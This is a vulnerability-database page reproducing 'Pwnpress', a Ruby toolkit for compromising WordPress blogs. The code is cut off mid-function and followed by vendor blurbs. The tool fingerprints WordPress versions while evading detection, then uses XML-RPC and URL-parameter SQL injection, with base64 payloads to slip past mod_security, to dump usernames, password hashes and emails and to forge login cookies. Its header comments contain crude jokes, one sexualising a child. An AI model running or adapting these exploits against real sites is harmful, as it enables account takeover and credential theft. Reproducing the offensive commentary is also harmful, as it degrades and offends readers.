Lucene search
K

Wordpress Multiple Versions Pwnpress Exploitation Tookit (0.2pub)

🗓️ 17 Sep 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

Wordpress Multiple Versions Pwnpress Exploitation Toolkit (0.2pub) by Lance M. Havok. Non-GPL, commercial usage forbidden. Implements multiple techniques and bugs for compromising Wordpress-based blogs, covert capabilities, and covertness capability

Code

                                                #!/usr/bin/env ruby
#                .---. .---.
#               :     : o   :    happy antiblogging, dear kids!
#           _..-:   0 :     :-.._    /
#       .-\'\'  \'  `---\' `---\' \"   ``-.         Copyright (c) Lance M. Havok
#     .\'   \"   \'  \"  .    \"  . \'  \"  `.       <lmh [at] info-pull.com>
#    :   \'.---.,,.,...,.,.,.,..---.  \' ;
#    `. \" `.                     .\' \" .\'      ----- All rights reserved.
#     `.  \'`.   .-/|||||||\\-.   .\' \' .\'       2006, 2007.
#      `.    `-._   \\|||/   _.-\' \"  .\'
#        `. \"    \'\"--...--\"\'  . \' .\'    ...because blogs are useless
#  jgs   .\'`-._\'    \" .     \" _.-\'`.       self-promotion and mental
#      .\'      ```--.....--\'\'\'    \' `:               masturbation...
#   \"The blogosphere end is fucking nigh!\"
#                                              -RELEASE LESS, RELEASE BEST-
# == Disclaimer and license
# This code is *NOT* GPL. Commercial usage is strictly forbidden (any activity
# directly or indirectly generating revenue: consulting, distribution in slides,
# mirroring in websites with ad/affiliate programs, advertise your web IDS, etc).
#
# == Pwnpress motivation and features
# Pwnpress implements multiple techniques, bugs and tricks for compromising
# Wordpress-based blogs, combining the exploits in the necessary order for
# retrieving any necessary information to make the exploitation process as
# reliable as possible. Because every time you \'blog\', god mutilates the penis
# of a poor 12 year old Vietnamese boy.
#
# Covertness capability is provided, dynamically adapting the payloads and
# operations to lower potential \'noise\' on the wire. Fingerprinting deploys few
# methods able to detect all versions of Wordpress in their default installation
# form without tampering of wp-includes/version.php
#
# Tested with Wordpress 2.2, 2.2.2, 2.0.5, 2.0.6, 2.1, (...), PHP/5.2.4 for
# Apache 2.0.58 on Gentoo GNU/Linux. magic_quotes on and off for the different
# exploits.
#
# == A short advice (for those who desperately need a working brain)
# Due to the recent incidents of people ripping some of our work at Blackhat and
# other *pointless* security conferences, we politely ask you to refrain from
# doing such a mean thing. If you can\'t be creative, find a different hobby.
# \"DANGER RABBI ROBINSON: INFOWAR!\" Gadi Evron, blogs.securiteam.com (WP 2.0.10)
# Trespassers expect career disruption and public humiliation... :)
#

require \'digest/md5\'
require \'net/http\'
require \'base64\'
require \'irb\'
require \'uri\'

class Array
    # Return random item
    def rand_i
        return self[rand(self.size)]
    end
end

class String
    # http://snippets.dzone.com/posts/show/2111
    def self.rnd(size = 16)
        (1..size).collect { (i = Kernel.rand(62);
        i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join
    end
end

# Oh jesuschrist, here comes the pie!
class Pwnpress
    PWNPRESS_VERSION         = \"0.2pub\"
    LATEST_VERSION_SUPPORTED = \"2.2.2\"
    DEFAULT_TABLE_PREFIX     = \"wp\"
    KNOWN_REGEXPS            = {
        :meta_generator => /<meta name=\"generator\" content=\"(.+?)\" \\/>/,
        :rss_feed_links =>
            [
                /title=\"RSS 2.0\" href=\"(.*)\"/,
                /title=\"RSS .92\" href=\"(.*)\"/
                
            ],
        :atom_feed_links =>
            [
                /title=\"Atom 0.3\" href=\"(.*)\"/
            ],
        :rss2_generator =>
            [
                /<generator>http:\\/\\/wordpress.org\\/?v=(.+?)<\\/generator>/,
                /generator=\"(.+?)\"/
            ],
        :atom_generator =>
            [
                /uri=\"http:\\/\\/wordpress.org\\/\" version=\"(.+?)\">Word(P|p)ress/
                # This fixes dumb editors with stupid syntax highlighting :)\"
            ]
    }
    
    attr_reader :results
    
    # Initialize the instance variables, etc. Perform any required operations
    # to set the initial state ready.
    def initialize(options)
        unless options[:target] != nil
            raise \"Missing target URL parameter.\"
        end
        
        # Check for missing trailing slash, add if necessary
        if options[:target].split(//).last != \'/\'
            options[:target] << \'/\'
        end
        
        
        @url          = URI.parse(options[:target])
        @proxy_host   = options[:proxy_host]
        @proxy_port   = options[:proxy_port]
        @table_prefix = options[:table_prefix]
        @username     = options[:username]
        @password     = options[:password]
        @covert_level = options[:covert_level]
        @results      = {}
        @finger_on    = options[:fingerprint]
        
        if options[:version] == \"auto\"
            @version = fingerprint_wordpress()
            if @version
                msg_name = \"Found Wordpress version.\"
                msg_desc = %Q{
                    Target has #{@version} installed. Current last
                    release (devel) is #{@wp_versions.last}. Known
                    versions: #{@wp_versions.size} (includes devel).
                }
                
                add_results_msg(:wp_version, :success, msg_name, msg_desc)
            else
                msg_name = \"Can\'t find Wordpress version.\"
                msg_desc = %Q{
                    Target has an unknown Wordpress version installed.
                    It might be fake or bogus. Please specify target
                    version yourself, since fingerprinting failed :(
                }
                
                add_results_msg(:wp_version, :failure, msg_name, msg_desc)
            end
        else
            fingerprint_wordpress(true)
            @version = options[:version]
        end
        
    end
    
    # Attempt to verify wordpress presence and installed version + patch level:
    #
    # 1. Default installation contains a META generator header.
    # 2. Default RSS/ATOM feed generation code also provides version information.
    # 3. Default template and most styles include \"Powered by\" text.
    #
    #     <meta name=\"generator\" content=\"WordPress 2.2.2\" />
    #     <!-- generator=\"wordpress/2.2.2\" -->
    #     <generator>http://wordpress.org/?v=2.2.2</generator>
    #     proudly powered by <a href=\"http://wordpress.org/\">WordPress</a>
    #     <generator url=\"http://...org/\" version=\"1.5.2\">WordPress</generator>
    #
    # The above methods can be fooled by simply editing wp-includes/version.php
    # Covert level affects what methods might be used, depending on how clumsy
    # the activity could be on the wire. Fingerprinting is highly effective in
    # most cases but there are still users who decide to fake version strings,
    # therefore a method using some heuristics is provided as well. Obviously it
    # can be fooled as easily, but helps to identify branch and feature sets.
    #
    # Methods involving extremely simple \"heuristics\":
    #
    # 4. Detect the style and layout of the login interface.
    # 5. Detect files that are present only in certain revisions or branches.
    # 6. Detect plugins and themes or styles available only for some branches.
    #
    # This list isn\'t exhaustive, there are other potentially reliable
    # methods (depending on desired attack surface: default installation, custom
    # blogs, heavily modified code, etc). Ski ba bop ba dop bop!
    #
    def fingerprint_wordpress(only_retrieve_body = false)
        index_paths = [ \"index.php\", \"?#comments\" ]
        rss2_paths  = [ \"?feed=rss2\", \"?feed=comments-rss2\" ]
        atom_paths  = [ \"?feed=atom\", \"?feed=comments-atom\" ]
        
        unless @body
            @body = retrieve_content(index_paths.rand_i)
            if @body == nil
                raise \"HTTP GET failed: wrong path or offline?\"
            end
        end
        
        if @body and only_retrieve_body == false and @finger_on
            get_valid_versions_array

            # Retrieve existing RSS and ATOM feed paths. Note that this will
            # only try to match for the target url. If Wordpress has set a
            # different base url, then these checks won\'t use it.
            KNOWN_REGEXPS[:rss_feed_links].each do |rp|
              tmp_array = @body.scan(rp).flatten
              tmp_array.each do |uri|
                rss2_paths << uri.gsub(/#{@url.to_s}/,\'\')
              end
            end
            
            KNOWN_REGEXPS[:atom_feed_links].each do |rp|
              tmp_array = @body.scan(rp).flatten
              tmp_array.each do |uri|
                atom_paths << uri.gsub(/#{@url.to_s}/,\'\')
              end
            end
            
            # Method 1
            meta_generator = @body.scan(KNOWN_REGEXPS[:meta_generator]).flatten
            if meta_generator
                wp_string = meta_generator[0].scan(/(.+?) (.*)/).flatten
                if wp_string.size ==  2
                    if wp_string[0] =~ /Word(p|P)ress/i
                        if wp_string[1]
                            # Verify version against those known to be valid
                            if @wp_versions.find { |v| v[0] == wp_string[1] }
                                return wp_string[1]
                            end
                        end
                    end
                end
            end
            
            # Note: could refactor these two as a method and save some lines,
            # but this is the only existing place where it would be used.
            # Method 2: RSS
            rss2 = get_meta_value(rss2_paths.rand_i, :rss2_generator)
            if rss2 and rss2[:str]
                ver = rss2[:str].scan(/(.*)\\/(.*)/).flatten
                if ver and ver.size == 2
                    if @wp_versions.find { |v| v[0] == ver[1] }
                        return ver[1]
                    end
                end
            end
            
            # Method 2: ATOM
            atom = get_meta_value(atom_paths.rand_i, :atom_generator)
            if atom and atom[:str]
                if @wp_versions.find { |v| v[0] == atom[:str] }
                    return atom[:str]
                end
            end
            
            # Method 4: determine login box layout and/or style. works for
            # checking if the version is post 2.2 branch or older (pre 2.2).
            # Besides that, this isn\'t of much help.
            if @covert_level < 1
                login_body = retrieve_content(\"wp-login.php\")
                if login_body =~ /<html xmlns=\"http:\\/\\/www.w3.org\\/1999\\/xhtml\" dir=\"ltr\">/
                    return \"post-2.2\"
                end
                if login_body =~ /<html xmlns=\"http:\\/\\/www.w3.org\\/1999\\/xhtml\">/
                    return \"pre-2.2\"
                end
            end
            
            # Method 5: branch-persistent files
            if @covert_level < 1
                # wp-app.php and wp-cron.php are from old 1.5 branch
                if retrieve_content(\"wp-app.php\", @url, nil, true).code == \"404\"
                    return \"likely-2.2\"
                else
                    return \"likely-1.5\"
                end
            end
            
            # Method 3: final, we return nil since we really cant tell an exact
            # version.
            if @body =~ /(proudly powered by|Powered by) <a href=(.*)wordpress(.*)>/
                return nil
            end
        end
    end
    
    # A brilliant bug fixed after 2.2(.0) which was exploitable by least
    # privileged users (ex. Subscribers) via the XML-RPC interface:
    #
    #   function wp_suggestCategories($args) {
    #   ...
    #       $this->escape($args);
    #       $blog_id                = (int) $args[0];
    #       ...
    #       $max_results            = $args[4];           !! where\'s mr. (int)?
    #       ...
    #       if(!empty($max_results)) {
    #           $limit = \"LIMIT {$max_results}\";          !! :>
    #
    #     $category_suggestions = $wpdb->get_results(\"    !! \"I see dead SQL :(\"
    #       SELECT cat_ID category_id,
    #           cat_name category_name
    #       FROM {$wpdb->categories}
    #       WHERE cat_name LIKE \'{$category}%\'
    #       {$limit}                                      !! kekekekekekeKEKEKE!
    #       \");
    #
    #   return($category_suggestions);
    #
    # Fixed in later revisions (ex. 2.2.2). The bug was reported to the Wordpress
    # development team by Alex C, with a .NET C# proof of concept.
    #
    def exploit_220_suggestCategories_xmlrpc
        if @username and  @password
            user_list    = {}
            xmlrpc_path  = get_xmlrpc_path()
            xml_payload  =  \"<methodCall>\\n\"                                   +
                            \"\\t<methodName>wp.suggestCategories</methodName>\\n\"+
                            \"\\t<params>\\n\"                                     +
                            \"\\t\\t<param><value>1</value></param>\\n\"            +
                            \"\\t\\t<param><value>#{@username}</value></param>\\n\" +
                            \"\\t\\t<param><value>#{@password}</value></param>\\n\" +
                            \"\\t\\t<param><value>1</value></param>\\n\"            +
                            \"\\t\\t<param><value>\"                               +
                            \"0 UNION ALL SELECT user_login, user_pass FROM \"   +
                            \"WPR3F1X_users\"                                    +
                            \"</value></param>\\n\"                               +
                            \"\\t</params>\\n\"                                    +
                            \"</methodCall>\\n\"
           
           # Send the query
           if xmlrpc_path
               get_table_prefix()
               
               res = send_xmlrpc(xml_payload.gsub(/WPR3F1X/, @table_prefix),
                                 xmlrpc_path)
               if res =~ /Word(P|p)ress database error/ and @covert_level < 1
                   # Try to guess prefix again if we had an error
                   get_table_prefix(:db_error, res)
                   res = send_xmlrpc(xml_payload.gsub(/WPR3F1X/, @table_prefix),
                                     xmlrpc_path)
               end
               
               # No need for a full-blown XML parser. Ruby is *that* nice :>
               if res =~ /<member><name>category_id<\\/name><value><string>/
                   regex = /<member><name>(.+?)<\\/name><value><string>(.+?)<\\/string><\\/value><\\/member>/
                   credentials = res.scan(regex)
                   last_user = nil
                   
                   credentials.each do |a|
                      if a[0] == \"category_id\" and a[1]
                          user_list[a[1]] = { :passwd_hash => nil }
                          last_user = a[1]
                      end
                      if a[0] == \"category_name\" and a[1]
                          user_list[last_user][:passwd_hash] = a[1]
                          cookie = get_cookie_hash(last_user, a[1])
                          if cookie and cookie.size == 2
                              user_list[last_user][:cookie_user] = cookie[0]
                              user_list[last_user][:cookie_pass] = cookie[1]
                          end
                      end
                   end
                   
                   add_to_results(:sql_injection_xmlrpc_220, :user_hashes,
                                  user_list)
                   return true
               end
               
               # Did not work :(
               return false
           end
        else
            raise \"Username and password required for XML-RPC injection in 2.2\"
        end
    end
    
    # Nice pre-authentication bug found by different individuals, one of them my
    # appreciated fellow Jesus H. Christ who coded a rather dirty proof of concept
    # doing the job just fine, with magic_quotes = Off. This is a cleaner version
    # with few extra checks. Like the original Perl version, uses base64 to avoid
    # char filtering woes and as a side-effect (bonus!) for mod_security evasion
    # :> (thanks to XML-RPC handling, which supports base64 encoded elements).
    #
    def exploit_222_pingback_xmlrpc
        user_list = {}
        tags_list = []
        xmlrpc_path  = get_xmlrpc_path()
        
        get_table_prefix()
        
        # First we need to scan for some tags (categories), this is most likely
        # 100% reliable if rewrite rules are enabled and theme is Wordpress
        # compliant (or follows the usual scheme).
        tags_list = get_existing_tags()
        unless tags_list.size > 0
            msgs = { :failure => { :response => \"Can\'t find suitable tag.\" } }
            msgs[:failure][:description] = %Q{
                \\t A suitable permalink-style path is required for the exploit
                \\t to be successful. Failure to find this parameter indicates
                \\t that most probably the target is not using URL rewrite rules.
                \\t The bug does not trigger with \"emulated\" index.php/ style
                \\t paths.
            }
            
            add_to_results(:sql_injection_xmlrpc_222, :messages, msgs)
            return false
        end
        
        sql_query =  tags_list.rand_i[:link]
        sql_query << \"#{String.rnd}&post_type=#{String.rnd}\\%27)\"
        sql_query << \" UNION SELECT CONCAT(user_pass, \\%27 - \\%27, user_login,\"
        sql_query << \" \\%27 - \\%27, user_email), 2,3,4,5,6,7,8,9,10,11,12,13,\"
        sql_query << \"14,15,16,17,18,19,20,21,22,23,24 FROM \"
        sql_query << \"WPR3F1X_users\\%2F*\"
        
        xml_payload  =  \"<?xml version=\\\"1.0\\\"?>\\n\"                           +
                        \"<methodCall>\\n\\t<methodName>\"                        +
                        \"pingback.extensions.getPingbacks\"                    +
                        \"</methodName>\\n\"                                     +
                        \"\\t<base64>INJ_SQL_QUERY</base64>\\n\"                  +
                        \"</methodCall>\\n\"
       
        # Send the query
        if xmlrpc_path
            tmp = sql_query.gsub(/WPR3F1X/, @table_prefix)
            tmp = xml_payload.gsub(/INJ_SQL_QUERY/, Base64.encode64(tmp))
            res = send_xmlrpc(tmp, xmlrpc_path)
            
            if res =~ /Word(P|p)ress database error/ and @covert_level < 1
                # Try to guess prefix again if we had an error
                get_table_prefix(:db_error, res)
                tmp = sql_query.gsub(/WPR3F1X/, @table_prefix)
                tmp = xml_payload.gsub(/INJ_SQL_QUERY/, Base64.encode64(tmp))
                res = send_xmlrpc(tmp, xmlrpc_path)
            end
            
            wpuser_blob = res.scan(/WHERE post_id IN \\((.*?)\\)/s).flatten[0]
            credentials = wpuser_blob.scan(/([a-z0-9]{32}) \\- (.*?) \\- ([^,]+)/i)
            credentials.each do |a|
                password_hash = a[0]
                poor_username = a[1]
                email_address = a[2]
                
                user_list[poor_username] = {
                    :email_addr  => email_address,
                    :passwd_hash => password_hash
                }
                
                cookie = get_cookie_hash(poor_username, password_hash)
                if cookie and cookie.size == 2
                    user_list[poor_username][:cookie_user] = cookie[0]
                    user_list[poor_username][:cookie_pass] = cookie[1]
                end
            end
            
            add_to_results(:sql_injection_xmlrpc_222, :user_hashes, user_list)
            return true
        end
        
        return false
    end

    # One of the most sloppy, unreliable and awkward exploits ever released for
    # Wordpress. The original exploit from Stefan Esser was mediocre at best.
    # No offense meant, it was just a seriously deficient piece of horse shit.
    def exploit_205_trackback_utf7
        wpuser_list = {}
        sql_query = \"\"
        # Left to be implemented someday...
    end
    
    # Present in 1.5.1.1, this one allows dead easy SQL injection (ex. via cat
    # variable, for category, in the index page right away). The SQL query here
    # is loosely based on the original exploit by Alberto Trivero, with extra
    # output. Also, we support multiple user dumping by limiting the query per
    # id, and iterating randomly if covert level allows it (since we are doing
    # a GET request, as clumsy as cmd.exe at packages.gentoo.org :>).
    def exploit_1511_catsqlinjection
        user_list = {}
        
        sql_query = \"#{rand(40)} UNION SELECT NULL,CONCAT(CHAR(58),user_pass,\"
        sql_query << \"CHAR(58),user_email,CHAR(58),user_login,CHAR(58)),2,\"
        sql_query << \"NULL,NULL FROM WPR3F1X_users WHERE id = TUSER/*\"

        
        get_table_prefix()
        
        if @covert_level > 1
            iterations = 1
        else
            iterations = rand(20)+1
        end
        
        user_id = 1
        iterations.times do
            tmp = sql_query.gsub(/TUSER/, user_id.to_s)
            tmp = URI.encode(tmp.gsub(/WPR3F1X/, @table_prefix))
            
            res = retrieve_content(\"?cat=#{tmp}\")
            if res =~ /Word(P|p)ress database error/ and @covert_level < 1
                    get_table_prefix(:db_error, res)
                    tmp = sql_query.gsub(/TUSER/, user_id.to_s)
                    tmp = URI.encode(tmp.gsub(/WPR3F1X/, @table_prefix))
                    res = retrieve_content(\"?cat=#{tmp}\")
            end
            
            if res
                val = res.scan(/:([a-z0-9]{32}):(.*?):(.*?): category/).flatten
        
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation